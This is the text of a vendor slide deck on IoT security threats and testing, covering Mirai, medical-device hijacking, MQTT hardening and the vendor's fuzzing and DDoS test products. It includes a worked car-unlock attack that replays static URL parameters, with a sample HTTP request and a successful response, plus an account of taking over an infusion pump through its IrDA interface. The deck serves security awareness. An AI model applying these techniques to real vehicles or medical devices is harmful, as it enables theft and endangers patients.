IoT and the Expanding Security Perimeter...Spirent Communications PROPRIETARY AND CONFIDENTIAL 11 IoT –Expands the Security Landscape Weaker Perimeter Security Devices never meant

IoT and the Expanding

Security PerimeterMichael Jack – Sr. Manager Product Marketing

2Spirent Communications PROPRIETARY AND CONFIDENTIAL

Agenda

▪ Introduction

▪ What’s an IoT?

▪ Security Challenges

▪ Testing IoT


The Internet of Things (IoT) refers to the ever-growing network of physical objects that feature an IP address for internet connectivity, and the communication that occurs between these objects and other Internet-enabled devices and systems. (Webopedia - August, 2017)

Quick Definition: IoT - Internet of Things


Current State of IoT --- The Perimeter of Security Expands!

How IoT hackers turned a university's network against itself

A university found its own network turned against it - as

refrigerators and lights overwhelmed it with searches for seafood.

Internet Of Things' Hacking Attack Led To

Widespread Outage Of Popular Websites

Hacked Cameras, DVRs Powered Today’s Massive

Internet Outage

An Army of Million Hacked IoT Devices Almost Broke

the Internet Today!

New Variations of MIRAI Malware to Hack More IoT

devices


The threat is real…


IoT Attack Surface

New Attack Surfaces Include:

Home Alarms

Smart Meters

Smartphone cameras & microphones

Security Cameras

Baby monitors

Medical Equipment

Supply Chain Goods

Smart Thermostats

Cars

Email, Calendar, Contacts, Tasks


The Walking Host – How many IP addresses are on your person?

Smart watches

Fitness Devices

Medical devices

Smartphones

Tablets

VR Headsets

Audio Headsets

And more

Confidential information is passed

between Smart Watches and Host

Phones

Medical and Health devices store

and transmit personal data

Device firmware and application

updates are not necessarily secure


CES 2018 – IoT Everywhere!!

Over 250 Smart Home

exhibitors

Over 1000 new IoT products

From toasters to coffee

makers


Trends


Top IoT Concerns

Spirent/IDC IoT Study 2017


IoT – Expands the Security Landscape

▪ Weaker Perimeter Security

▪ Devices never meant to be Internet enabled are now

online

▪ New sources of DDoS generators

▪ Susceptible to DDoS

▪ Conduit for data theft

▪ More points for Malware infection

▪ When devices “phone home” for firmware or other

updates SSL is not always used

▪ Attacks against these devices has become new

domain in hacker community


Example IoT designs

Common

Internet

Server

LAN based

Controller/Link

Appliance


How do I search for IoT devices near me ? www.shodan.io


Live Hack Samples – Mobile App

Every HTTP request contains Account number, Device ID and VIN in the URL.

These URL query parameters remain static and can be reused to perform actions like unlocking the

car, flashing the lights without logging into the application using account number and PIN.

Following URLS can be used to perform actions like unlocking car, turning ON flash lights.

1. Car can be unlocked using following URL:

https://abc.xyz.com/mobile/services/unlock/vehicle/xcoperfds/77553322/089796959445566/1ZZAB6A77CB0012344

2. Flashlight of the car can be turned on using following URL:

https://abc.xyz.com/mobile/services/flaslight/vehicle/lights/089796959445566/1ZZAB6A77CB0012344/6/Flash/77553322

https://abc.xyz.com/mobile/services/unlock/vehicle/xcoperfds/77553322/089796959445566/1ZZAB6A77CB0012344

https://abc.xyz.com/mobile/services/flaslight/vehicle/lights/089796959445566/1ZZAB6A77CB0012344/6/Flash/77553322


Car Hack

HTTP Request:

GET /mobile/services/unlock/vehicle/xcvwerfds/77553322/089796959445566/1ZZAB6A77CB0012344 HTTP/1.1

Host: abc.xyz.com

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Connection: keep-alive

Proxy-Connection: keep-alive

HTTP Response:

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

X-Powered-By: Servlet 2.4

Content-Type: application/xml

Content-Length: 207

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-

8"><VehicleLock><rCode>00</rCode><rDescription>Successful</rDescription></VehicleLock>


The Horror Stories – MEDJACK / MEDJACK.2: Health Care

1. Medical Device Hijack

2. MEDJACK – 2015/2016

3. MEDJACK.2 – 2017

4. Attacked older operating systems

5. Affected devices: X-Ray machines,

CT Scanners, Blood Gas analyzer,

MRI systems etc.

6. Undetected by Endpoint security

solutions


1. IV Infusion Pump

2. Injects nutrients & medication

3. Controlled dosage

4. Safety features

5. External or Implanted

6. Used to be standalone, not anymore

NOT THIS ONE

EITHER!!!

More Health Care IoT


Workflow


Initial Observations

1. Ethernet (RS-232)

2. 802.11 b/g/a Integrated Wireless Network

3. USB Enabled

4. IrDA Port

5. Display – Touch Screen

6. Keypad

7. Maintenance Mode – Password Protected

¥o/


Old PDA

Based on our initial observations, we noticed that the

infusion pump supports IrDa (Infrared Data Association).

A simple and available device, which also supports IrDA.

The idea was to interface it with the infusion pump and

get them talking via the IrDA interface.


Overwriting Wireless Settings

The infusion pump allowed us to export the network

settings and beam it over to the PDA over IrDA

interface.

The received settings were saved in the Notes app on

the palm visor

However, when we looked at the settings, they did not

include any information specific to the infusion pump.

What we received was sort of a network settings

template, similar to a form.

So we did what people usually do with a template. We

filled it with our favorite wireless settings.

Once done, we beamed it back to the infusion pump

and it overwrote the pump settings with the settings

from our template.

Now, we had the infusion pump connected to our lab

network.


The Initial Traffic

▪ Plain-text protocol loosely based on XML

▪ Contained pump description:

▪ Pump Serial Number

▪ Wireless Access Point Data

▪ IP/MAC Information

▪ XMODEM checksum

▪ And more


Used fuzzing to find faults

▪ Communication with pump, both as client (tcp/11111) & server

(tcp/22222)

▪ Observed numeric header specifying Message types

▪ Message Type 2 – Confirms pump to pump server connection

▪ Message Type 7 & 31 – Not sure

▪ Message Type 8 – Followed by Message Type 2. Updates pump status.

▪ Message Type 20 – Network commands

▪ Message Type 208 & 238 – Not sure


Master Drug List Exposed

▪ Used for drug administration

▪ Nutrients, Drugs, Blood etc.

▪ Maintains dosage, proportions

▪ Soft / Hard Limits


Mirai – The Long Term impact to IoT

Sophisticated attack targeting Dyn’s Managed DNS

infrastructure

Used TCP and UDP traffic over port 53

~100k malicious IoT endpoints

Two Attacks on same day

Lasted for ~70 minutes

~1.2Tbps in scale

Attacks were mitigated

But only after Dyn’s end users felt significant impact

8% of customers stopped using Dyn in the fallout

Helped put a spotlight on security of IoT devices

McAfee Lab Report 2017


MQTT Wide Use in IoT

Constrained devices in unreliable networks

MQTT was made to connect sensors and embedded devices over communication

networks that are typically unreliable and/or high-latency

As an example, MQTT has long been and still is used for monitoring energy

production operations. Many times these areas have bad network converge,

requiring a communication protocol that can cope with such environments –

MQTT is light weight on purpose

MQTT is a part of Azure and Amazon service offerings, so it has a lot of

established architecture, making it easily adapted for current developers

https://vernemq.com/intro/mqtt-primer/#constrainted-devices-in-unreliable-networks


Securing MQTT

Network Level

Using full 100% encryption between devices and hosts and management broker services

Secure VPNs

Challenges of managing more VPN endpoints and network overhead

Network

Transport

Application


Securing MQTT

Transport Level

Transactional Secure Messaging between endpoints and brokers

Proven but heavy weight on application

More TLS/SSL traffic on network

IoT device performance impact?

Network

Transport

Application


Securing MQTT

Application Level

Assuming network and transport layers are encrypted

Authentication of IoT devices

Managing potentially 1000s of credentials

Not just basic access but layers of access

• I.e. Authenticate to allow firmware updates only vs management statistics only

Network

Transport

Application


Securing IoT

Santander, Spain

New York City, USA

Aguas De Sao Pedro, Brazil

Songdo, South Korea

Tokyo, Japan

Hong Kong

Arlington County, Virginia, USA

Smart IoT devices create huge attack surfaces for

potential cyber attacks, making the future of smart cities

more vulnerable than today's computers and

smartphones.

Cyber Attacks Leverages Internet of Things

Smart devices such as traffic and surveillance cameras,

meters, street lights, traffic lights, smart pipes, and

sensors are easy to implement, but are even easier to

hack due to lack of stringent security measures and

insecure encryption mechanisms.

These cities are implementing new technologies

without first testing cyber security.

Hacker News

http://2.bp.blogspot.com/-t0eWCeKBx9E/VbtY8UvXCaI/AAAAAAAAAAM/DslEpXAE9us/s1600/WiFi-Trash-Can.jpg


Test Smarter

Comprehensive Testing with

Actionable Results

Test Faster –

From Setup to Traffic Creation

Realistic Applications

Flexible Capabilities

Diverse Platforms


Best Practice – Stack Robustness

What is tested?

New network devices, anything that has a protocol stack

Gateways, proxies, end servers

How is it tested?

Fuzz testing

Why is it Critical?

Most attacks focus on finite state machine bugs or corner case conditions.

Fuzzing automatically checks the “Hardness” of the stack, identifying a possible

weak point in the design

What can make this fail?

Fuzzing is a “weakest link” event, if you do not test all the protocols, a failure or

exposed vulnerability may be found

When / What do you test?

Acceptance test level, when ever there is new software or a new device, you must

test

Fuzzing Value

SmartMutation™ by CyberFlood fuzzing will quickly zones in on problems and

test those area more deeply as opposed to random generation of patterns.

Fuzz Test

MQTT

TLS/SSL

TLS 1.3

HTTP


CyberFlood to Fuzz MQTT


Best Practice – Blended Volumetric Attack Testing

What is tested?

Ability to mix multiple DDoS attacks in an orchestrated fashion

How is it tested?

Full flexibility to blend and orchestrate ‘Scenarios’

Why is this Critical?

Test each attack with high realism under high volume load

What can make this fail?

Not testing critical combinations of attacks

When / What do you test?

Weekly testing, or on demand is recommended

Value

Be able Mix and match valid and DDoS Traffic

Very high load

▪ Ensure test emulate users traffic under elastic conditions

Intermix

General Traffic

IoT / MQTT / SCADA

Test Policies

Test Mitigation


Best Practice – Quality of Experience Validation

▪ What is tested?

▪ Measure “IoT Tennant Happiness” and performance

▪ How is it tested?

▪ Schedule complex app scenarios - Internet enabled device traffic on network

▪ Measure directly Quality of Experience under Load and secure communication

▪ Understand how IoT C&C and management traffic impacts overall network

capacity

▪ Measure results

▪ Why is it Critical?

▪ Tenants expect network to work through network issues

▪ What can make this fail?

▪ Not testing or measuring user specific applications

▪ When / What do you test?

▪ Provisioning a new tenant, troubleshooting a tenant problem, anytime there is a

network change

▪ Value

▪ Ensure test emulate users traffic under elastic conditions


Summary

▪ IoT brings new security challenges to network

security and performance More elements on the

network need to be managed monitored and

secured

▪ Deeper and wider security and performance

testing can expose new weaknesses allowing

you to deploy better solutions and services


IoT Security Infographic

https://www.spirent.com/-

/media/Posters/The_State_of_IoT_Security_IDC_Infographic.pdf

IoT Security for the Enterprise

https://www.spirent.com/-/media/White-Papers/Security/IoT-Security-for-the-

Enterprise.pdf

Breaching The External Security Network Perimeter

https://www.spirent.com/-/media/White-Papers/Security/Breaching-the-External-

Network_Whitepaper.pdf

Hardening Security Defenses Against DDoS Attacks

https://www.spirent.com/-/media/White-

Papers/Security/Hardening_Security_Defenses_Against_Tomorrows_DDoS_Attacks_

Whitepaper.pdf

For More Information Check out Spirent

Whitepapers – www.spirent.com


© Spirent Communications, Inc. All of the company names and/or brand names and/or product names and/or logos referred to in this document, in particular the name

“Spirent” and its logo device, are either registered trademarks or trademarks pending registration in accordance with relevan t national laws. All rights reserved.

Specifications subject to change without notice.

spirent.com

Thank you

http://www.spirent.com/Global-Services/SecurityLabs

Documents

IoT and the Expanding Security Perimeter...Spirent Communications PROPRIETARY AND CONFIDENTIAL 11 IoT –Expands the Security Landscape Weaker Perimeter Security Devices never meant